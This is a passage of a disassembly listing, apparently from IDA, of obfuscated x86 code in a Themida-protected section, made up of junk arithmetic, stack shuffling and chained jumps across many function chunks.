; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58F18B:				; CODE XREF: Themida_:0058B52Cj
		not	ecx
		neg	ecx
		sub	ecx, 0CF9DE84Eh
		jmp	loc_59164E
; ---------------------------------------------------------------------------


loc_58F19A:				; CODE XREF: Themida_:0058DCB0j
		push	edx
		jmp	loc_59541D
; ---------------------------------------------------------------------------


loc_58F1A0:				; CODE XREF: Themida_:00591054j
		push	1DF4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5921B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58F1B1:				; CODE XREF: Themida_:00591334j
					; sub_5916C4+2608j
		mov	bl, cl
		pop	ecx
		jmp	loc_593D33
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58F1B9:				; CODE XREF: sub_5919E2+1AAEj
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F1C0:				; CODE XREF: Themida_:0058C287j
		push	esi
		mov	esi, 0DA82AD2h
		neg	esi
		push	edi
		mov	edi, 2AD67250h
		jmp	loc_597EF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F1D3:				; CODE XREF: sub_590010-AE1j
		add	esp, 4
		jmp	loc_5944E5
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58F1DB:				; CODE XREF: Themida_:00593CBCj
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F1E0:				; CODE XREF: Themida_:00590E78j
		mov	ebp, 5C510DF5h
		shl	ebp, 2
		jmp	loc_596ABF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F1ED:				; CODE XREF: sub_58C17E+5A8Aj
		push	edx
		push	ebx
		mov	ebx, 41E43693h
		mov	edx, 3344EC10h
		add	edx, ebx
		pop	ebx
		add	ecx, 4D932F13h
		sub	ecx, edx
		sub	ecx, 4D932F13h
		pop	edx
		sub	ecx, 69122792h
		mov	edi, [esp+0]
		jmp	loc_58CE7F
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58F219:				; CODE XREF: sub_590467-E8Bj
		pop	ecx
		jmp	loc_596A6C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58F21F:				; CODE XREF: sub_5916C4+48EAj
		add	esi, 952E0913h
		xor	eax, esi
		push	[esp-4+arg_0]
		jmp	loc_592F04
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58F22F:				; CODE XREF: sub_5EC2E8-59808j
		sub	ebx, 14673BEFh
		sub	esp, 4
		mov	[esp+3Ch+var_3C], eax
		mov	eax, 35DC3567h
		add	ebx, 5D182EA6h
		add	ebx, eax
		sub	ebx, 5D182EA6h
		mov	eax, [esp+3Ch+var_3C]
		jmp	loc_590682
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58F259:				; CODE XREF: sub_5916C4+2D03j
		push	edx
		push	37B046C4h
		pop	edx
		mov	eax, 5D4BFF2h
		sub	eax, 41BC052Ch
		add	eax, edx
		add	eax, 41BC052Ch
		pop	edx
		jmp	loc_595F9B
; END OF FUNCTION CHUNK	FOR sub_5916C4

; =============== S U B	R O U T	I N E =======================================



sub_58F277	proc near		; CODE XREF: sub_58D0EB+B39j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592591 SIZE 00000009 BYTES

		push	ebx
		jmp	loc_592591
sub_58F277	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58F27D:				; CODE XREF: Themida_:0058DDEEj
		shr	esi, 1
		jnp	loc_590E71
		push	ecx
		mov	ecx, 78F71FA3h
		push	ebp
		jmp	loc_58EFB1
; ---------------------------------------------------------------------------
		mov	eax, [edx]
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58F293:				; CODE XREF: sub_58B4D6+2295j
		add	esp, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58F2A6:				; CODE XREF: sub_590467+1CA8j
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_58C950
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58F2B0:				; CODE XREF: Themida_:00592B52j
		pop	eax
		jmp	loc_58AA0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F2B6:				; CODE XREF: sub_590010+3807j
		and	ecx, ebp
		mov	ebp, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_58CC74
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58F2D2:				; CODE XREF: sub_5938B9-3225j
		add	esi, 38827CF2h
		mov	ebp, esi
		jmp	loc_5903BA
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58F2DF:				; CODE XREF: sub_5916CB+5172j
		add	eax, 0B13531EBh
		not	eax
		shr	eax, 1
		inc	eax
		dec	eax
		add	eax, 0E2DD5393h
		xor	edx, eax
		pop	eax
		and	eax, edx
		jmp	loc_58E893
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58F2F9:				; CODE XREF: Themida_:00594FC0j
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		jmp	loc_58C217
; ---------------------------------------------------------------------------


loc_58F304:				; CODE XREF: Themida_:loc_594098j
		add	ebp, 3EED7CF3h
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_59297D
; ---------------------------------------------------------------------------


loc_58F314:				; CODE XREF: Themida_:0058B73Fj
		shr	ah, 5
		push	edx
		push	eax
		mov	al, 7Eh
		jmp	loc_591A19
; ---------------------------------------------------------------------------


loc_58F320:				; CODE XREF: Themida_:00592122j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F325:				; CODE XREF: Themida_:00594E10j
		push	edx
		mov	dl, 95h
		or	bh, dl
		pop	edx
		push	dx
		mov	dl, 43h
		sub	bh, 0BBh
		add	bh, dl
		add	bh, 0BBh
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		mov	bl, 0Ah
		xor	bl, 5Eh
		sub	al, bl
		jmp	loc_58E810
; ---------------------------------------------------------------------------


loc_58F34B:				; CODE XREF: Themida_:00595017j
		push	cx
		jmp	loc_59569D
; ---------------------------------------------------------------------------


loc_58F352:				; CODE XREF: Themida_:0058A612j
		mov	bl, 64h
		add	ch, bl
		jmp	loc_58B63C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F35B:				; CODE XREF: sub_58F5B5+31BDj
		add	edi, 0CDF452Ch
		sub	edi, 289E164Ch
		shr	edi, 8
		neg	edi
		neg	edi
		jmp	loc_59337B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_593364
; ---------------------------------------------------------------------------


loc_58F385:				; CODE XREF: Themida_:loc_58E300j
					; Themida_:0058E44Bj
		mov	si, 17F2h
		sub	si, 9A51h
		add	bx, si
		jmp	loc_592E4E
; ---------------------------------------------------------------------------


loc_58F396:				; CODE XREF: Themida_:00598013j
		and	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58F39F:				; CODE XREF: sub_5916CB-467Fj
		add	esp, 4
		add	edx, 35B56B62h
		add	edx, edi
		sub	edx, 35B56B62h
		push	ebx
		mov	ebx, 6E62DA1h
		shl	ebx, 6
		xor	ebx, 58BF62C7h
		inc	ebx
		dec	ebx
		add	ebx, 56F64658h
		add	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_592BCF
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58F3D0:				; CODE XREF: Themida_:0058ACE1j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_591F52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58F3EC:				; CODE XREF: sub_5916C4-13Dj
		pop	ecx
		sub	ecx, ebp
		pop	ebp
		sub	eax, ecx
		mov	ecx, [esp-8+arg_4]
		jmp	loc_58F8C3
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58F3FA:				; CODE XREF: Themida_:loc_5940F3j
		push	ebp
		jmp	loc_59325C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F400:				; CODE XREF: sub_58C17E+282Ej
		pop	edi
		xchg	edx, [esp-4+arg_0]
		pop	esp
		add	esp, 4
		shl	[esp-0Ch+arg_8], cl
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F413:				; CODE XREF: sub_58F5B5+18Ej
		add	esi, 3B0A2CEAh
		xor	esi, 37BC4C5Ch
		sub	esi, 149A35B0h
		jmp	loc_58DB4D
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58F42A:				; CODE XREF: sub_595123-C60j
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, 0E00398CEh
		sub	ecx, edi
		jmp	loc_595A83
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58F43D:				; CODE XREF: Themida_:0058A520j
		sub	eax, edx
		pop	edx
		sub	eax, 140C78A2h
		pop	esi
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F458:				; CODE XREF: Themida_:005957F2j
		shr	ebx, 4
		xor	ebx, 2D749650h
		jmp	loc_59341A
; ---------------------------------------------------------------------------


loc_58F466:				; CODE XREF: Themida_:005938B4j
		mov	[esp], edx
		push	ecx
		push	1C941F57h
		pop	ecx
		shr	ecx, 5
		jmp	loc_58F54E
; ---------------------------------------------------------------------------


loc_58F478:				; CODE XREF: Themida_:0058CB13j
		dec	ebp
		jmp	loc_591067
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58F47E:				; CODE XREF: sub_592D25+4E2Dj
		sub	ebp, 836A7E70h
		and	edi, ebp
		pop	ebp
		sub	edi, 63F70EB4h
		jmp	loc_592438
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_58F492:				; CODE XREF: Themida_:0058CB7Aj
		push	esi
		jmp	loc_59045F
; ---------------------------------------------------------------------------


loc_58F498:				; CODE XREF: Themida_:00590EA9j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58F4AC:				; CODE XREF: sub_594654+2ABDj
		pop	ebp
		jmp	loc_58D1B3
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58F4B2:				; CODE XREF: sub_595E21-9B55j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		mov	ecx, 22AA4433h
		xor	edi, ecx
		mov	ecx, [esp-4+arg_0]
		jmp	loc_58E1EA
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F4D9:				; CODE XREF: sub_58C17E+EEAj
		mov	ecx, 65774FFh
		inc	ecx
		jo	loc_595A16
		and	ecx, 6CA03396h
		xchg	edx, ecx
		not	edx
		jmp	loc_58B69B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		jmp	loc_58D4ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58F500:				; CODE XREF: sub_590467-421Aj
		mov	esp, [esp+0]
		jmp	loc_595E62
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58F508:				; CODE XREF: sub_5EC2E8-59408j
		push	ecx
		mov	ecx, 5CDD7503h
		add	ecx, 0AD66C69Dh
		and	ebx, ecx
		jmp	loc_590CE7
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B03F


loc_58F51B:				; CODE XREF: sub_58B03F+2j
		mov	esi, 1
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_597577
; END OF FUNCTION CHUNK	FOR sub_58B03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F52E:				; CODE XREF: sub_590010-3C7Ej
		pop	ecx
		jmp	loc_58F1D3
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58F534:				; CODE XREF: sub_5EC2E8-5C269j
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		xor	ebp, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], ebp
		xor	ebp, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		jmp	loc_591F80
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58F54E:				; CODE XREF: Themida_:0058F473j
		push	ebx
		mov	ebx, 6B3C4DD6h
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		and	ebx, 0FEE7FCEh
		jmp	loc_5916FD
; ---------------------------------------------------------------------------


loc_58F567:				; CODE XREF: Themida_:00590D42j
		sub	eax, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_5932EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F572:				; CODE XREF: sub_58C17E+AA4Ej
		pop	ebx
		add	edx, ebp
		jmp	loc_590F6C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58F57A:				; CODE XREF: sub_5916CB-3461j
		dec	edx
		jnp	loc_5953A1
		dec	edx
		jg	loc_5900F4
		jmp	loc_58F677
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
		not	ebp
		dec	ebp
		mov	ah, 7
		push	edx
		push	216C187Ch
		jmp	loc_58B7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F59D:				; CODE XREF: sub_58C17E+4648j
		xor	edi, 443EC67Ah
		sub	edx, 43F14273h
		jmp	loc_58E998
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58F5AE:				; CODE XREF: sub_595258-65DBj
		pop	edi
		pop	[esp+8+var_8]
		pop	dword ptr [edi+24h]
; END OF FUNCTION CHUNK	FOR sub_595258

; =============== S U B	R O U T	I N E =======================================



sub_58F5B5	proc near		; CODE XREF: sub_590010+44D7j

var_2C		= dword	ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058A338 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058A689 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A83F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058AF1A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058B1C5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B2C6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B2FC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B3F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B583 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B690 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B6EF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B8B2 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058B92E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BB39 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058BB82 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058C103 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C252 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C546 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058C5E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C6EC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058C762 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CD15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D0E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D3BC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D434 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D612 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D642 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D6C5 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058DB4D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DBA6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058DBDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DEED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E077 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058E22C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E378 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058E40C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058EACC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058EB02 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058ED09 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058EE5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F180 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F35B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F413 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F677 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F704 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F736 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F79C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F927 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FB23 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FCD4 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058FDF7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FE39 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058FF8A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058FFBA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059008F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005906BA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059080D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590910 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00590A34 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590D34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590DA6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059120D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005915ED SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059161F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005916AF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591961 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005919AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591B5B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591F17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005922F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059233B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005923DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592469 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059275C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00592FE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059314C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593165 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059337B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593765 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005939F4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00593C0E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593E9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593EB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593FF2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594144 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594356 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059460E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594719 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00594A3E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594A6C SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00594BC3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059518A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595572 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005955E8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059593B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595BF2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595CEB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595E16 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595E4C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059626C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00596445 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059665C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596737 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005967C8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005969BC SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00596ACF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596B5D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00596C87 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596D0E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005971F4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597396 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005975C4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059775B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597961 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059798B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00597CC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597CF6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00597D55 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597F3B SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_58B690
sub_58F5B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58F5C0:				; CODE XREF: Themida_:0058A9BFj
		jmp	loc_594DD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F5C5:				; CODE XREF: sub_58C17E+5C73j
		sub	ebx, 2C425684h
		add	ebx, esi
		push	ebp
		jmp	loc_58D5E1
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58F5D3:				; CODE XREF: sub_590467+5FD9j
		mov	ah, 0E1h
		mov	dh, 8Dh
		xor	dh, ah
		pop	eax
		xor	dh, cl
		jmp	loc_58F219
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58F5E1:				; CODE XREF: Themida_:00596624j
		pop	ecx
		push	esi
		mov	esi, 12BA440Eh
		jmp	loc_58C738
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58F5ED:				; CODE XREF: sub_592D25+1Bj
		mov	edx, [esp+0]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		mov	eax, ecx
		push	[esp-14h+arg_10]
		pop	ecx
		push	314Bh
		mov	[esp+0], edx
		jmp	loc_590522
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F609:				; CODE XREF: sub_58C17E-1430j
		and	ebp, 0ECD0C66h
		jmp	loc_597634
; ---------------------------------------------------------------------------


loc_58F614:				; CODE XREF: sub_58C17E+A4Ej
		sub	ecx, 31B152B2h
		jmp	loc_5911AA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58F61F:				; CODE XREF: Themida_:0058AC12j
		pop	ebp
		jmp	loc_58BD3B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3261h
		mov	[esp], edx
		jmp	loc_594903
; ---------------------------------------------------------------------------


loc_58F636:				; CODE XREF: Themida_:005971EFj
		jnz	loc_58E14D
		xor	ah, 41h
		mov	dl, ah
		pop	eax
		xchg	bl, dl
		not	bl
		jmp	loc_58F74F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB1F


loc_58F64B:				; CODE XREF: sub_58EB1F-334Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_58A6BF
; END OF FUNCTION CHUNK	FOR sub_58EB1F
; ---------------------------------------------------------------------------


loc_58F65B:				; CODE XREF: Themida_:0058B421j
		sub	ebx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 76F94A30h
		sub	ebx, eax
		add	ebx, 76F94A30h
		jmp	loc_5923FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F677:				; CODE XREF: sub_5916CB-2143j
					; sub_58F5B5+4A51j
		push	30EAh
		mov	[esp+14h+var_14], edx
		push	170115Fh
		pop	edx
		push	171115Fh
		mov	ecx, [esp+0]
		push	edx
		jmp	loc_59775B
; ---------------------------------------------------------------------------


loc_58F693:				; CODE XREF: sub_58F5B5-4299j
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		jmp	loc_594144
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58F6A0:				; CODE XREF: sub_59762D-5AEFj
		jz	loc_58CB26
		sub	edx, 7C198C65h
		jmp	loc_597B29
; ---------------------------------------------------------------------------


loc_58F6B1:				; CODE XREF: sub_59762D-9D6Fj
		jmp	loc_58FE55
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58F6B6:				; CODE XREF: Themida_:0058D211j
		xor	ebx, 3D0C1D82h
		pop	eax
		add	edx, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_59144D
; ---------------------------------------------------------------------------


loc_58F6E5:				; CODE XREF: Themida_:00591DE7j
		pop	esi
		add	ebp, ecx
		pop	ecx
		jmp	loc_596AB2
; ---------------------------------------------------------------------------


loc_58F6EE:				; CODE XREF: Themida_:00596300j
		neg	eax
		shl	eax, 5
		push	ebx
		mov	ebx, 0EDDBFB67h
		xor	eax, ebx
		pop	ebx
		sub	ebp, eax
		pop	eax
		jmp	loc_593120
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F704:				; CODE XREF: sub_58F5B5+2403j
		shr	ebx, 2
		neg	ebx
		push	ecx
